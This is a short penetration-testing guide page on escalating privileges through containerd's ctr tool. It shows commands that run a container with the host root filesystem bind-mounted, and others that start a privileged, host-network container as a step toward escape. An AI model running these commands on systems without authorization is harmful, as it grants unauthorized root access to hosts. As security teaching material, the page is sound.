Containerd (ctr) Privilege Escalation

Basic information

Go to the following link to learn what is containerd and ctr:

page2375, 2376 Pentesting Docker

PE 1

if you find that a host contains the ctr command:

which ctr
/usr/bin/ctr

You can list the images:

ctr image list
REF                                  TYPE                                                 DIGEST                                                                  SIZE      PLATFORMS   LABELS 
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -      
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -

And then run one of those images mounting the host root folder to it:

ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash

PE 2

Run a container privileged and escape from it. You can run a privileged container as:

 ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash

Then you can use some of the techniques mentioned in the following page to escape from it abusing privileged capabilities:

pageDocker Breakout

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